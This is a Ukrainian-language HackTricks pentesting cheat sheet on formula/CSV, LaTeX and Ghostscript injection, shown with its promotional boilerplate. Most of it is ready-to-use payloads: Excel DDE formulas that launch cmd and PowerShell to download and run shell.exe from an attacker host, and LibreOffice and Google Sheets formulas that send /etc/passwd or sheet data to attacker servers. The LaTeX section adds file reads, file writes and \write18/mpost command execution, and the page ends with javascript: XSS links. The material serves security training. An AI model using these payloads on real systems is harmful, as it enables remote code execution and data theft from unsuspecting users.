hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
2024-03-29 19:49:46 +01:00

16 KiB
Raw Blame History

Внедрення формули/CSV/Doc/LaTeX/GhostScript

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Група з безпеки Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}


Внедрення формули

Інформація

Якщо ваш ввід відображається всередині файлів CSV (або будь-якого іншого файлу, який, ймовірно, буде відкритий в Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриє файл або коли користувач клацне на який-небудь посилання всередині аркуша Excel.

{% hint style="danger" %} У сучасних часах Excel сповістить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому зловмисним діям. Тому до остаточного навантаження потрібно прикласти особливі зусилля з соціальної інженерії. {% endhint %}

Словник

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Гіперпосилання

Наступний приклад дуже корисний для виведення вмісту з кінцевого аркуша Excel та виконання запитів до довільних місць. Але для цього потрібно, щоб користувач натиснув на посилання (і погодився на попереджувальні вікна).

Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit

Уявіть порушення безпеки в системі управління записами студентів, яке було використано через атаку внедрення CSV. Основною метою атакуючого є компрометація системи, яку використовують вчителі для управління даними студентів. Метод включає в себе внедрення атакуючим шкідливого навантаження в додаток, зокрема, шляхом введення шкідливих формул в поля, призначені для даних студентів. Атака розгортається наступним чином:

  1. Внедрення шкідливого навантаження:
  • Атакуючий надсилає форму даних студента, але включає формулу, яка часто використовується в електронних таблицях (наприклад, =HYPERLINK("<malicious_link>","Click here")).
  • Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, яким керує атакуючий.
  1. Експорт компрометованих даних:
  • Вчителі, не підозрюючи про компрометацію, використовують функціонал додатка для експорту даних в файл CSV.
  • При відкритті CSV-файлу все ще містить шкідливе навантаження. Це навантаження виглядає як клікабельне гіперпосилання в таблиці.
  1. Запуск атаки:
  • Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
  • Після натискання чутливі дані (потенційно включаючи деталі з таблиці або комп'ютера вчителя) передаються на сервер атакуючого.
  1. Логування даних:
  • Сервер атакуючого отримує та реєструє чутливі дані, відправлені з комп'ютера вчителя.
  • Атакуючий може використовувати ці дані для різних зловмисних цілей, подальше компрометування конфіденційності та безпеки студентів та установи.

RCE

Перевірте оригінальний пост для отримання додаткових деталей.

У конкретних конфігураціях або старих версіях Excel можна використовувати функцію під назвою Dynamic Data Exchange (DDE) для виконання довільних команд. Для використання цього необхідно увімкнути наступні налаштування:

  • Перейдіть до Файл → Опції → Центр довіри → Налаштування центру довіри → Зовнішній вміст та увімкніть Запуск сервера Dynamic Data Exchange.

При відкритті таблиці зі шкідливим навантаженням (і якщо користувач погоджується з попередженнями), навантаження виконується. Наприклад, для запуску додатка калькулятор, навантаження буде:

`=cmd|' /C calc'!xxx`

Додаткові команди також можуть бути виконані, наприклад, завантаження та виконання файлу за допомогою PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Локальне включення файлів (LFI) в LibreOffice Calc

LibreOffice Calc може бути використаний для читання локальних файлів та виведення даних. Ось деякі методи:

  • Читання першого рядка з локального файлу /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Виведення прочитаних даних на сервер, котрим керує зловмисник: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Виведення більше одного рядка: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Ексфільтрація DNS (надсилання прочитаних даних як запити DNS на сервер DNS, котрим керує зловмисник): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets для ексфільтрації даних поза мережею (OOB)

Google Sheets пропонує функції, які можна використовувати для ексфільтрації даних поза мережею:

  • CONCATENATE: Додає рядки разом - =CONCATENATE(A2:E2)
  • IMPORTXML: Імпортує дані зі структурованих типів даних - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Імпортує стрічки RSS або ATOM - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Імпортує дані з HTML таблиць або списків - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Імпортує діапазон комірок з іншої таблиці - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Вставляє зображення в комірку - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

Впровадження LaTeX

Зазвичай сервери, які можна знайти в Інтернеті, що конвертують код LaTeX в PDF, використовують pdflatex.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:

  • --no-shell-escape: Вимкнути конструкцію \write18{command}, навіть якщо вона увімкнена в файлі texmf.cnf.
  • --shell-restricted: Те саме, що і --shell-escape, але обмежено до 'безпечного' набору передбачених **команд (**На Ubuntu 16.04 список знаходиться в /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Увімкнути конструкцію \write18{command}. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.

Однак існують інші способи виконання команд, тому для уникнення RCE дуже важливо використовувати --shell-restricted.

Читання файлу

Можливо, вам доведеться налаштувати ін'єкцію з обгортками, як [ або $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Прочитати однорядковий файл

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Прочитати багаторядковий файл

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Запис файлу

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Виконання команд

Вхідна команда буде перенаправлена на stdin, використовуйте тимчасовий файл, щоб отримати його.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Якщо ви отримуєте будь-яку помилку LaTex, розгляньте використання base64, щоб отримати результат без поганих символів

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Міжсайтовий скриптінг

Від @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Впровадження Ghostscript

Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Посилання

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: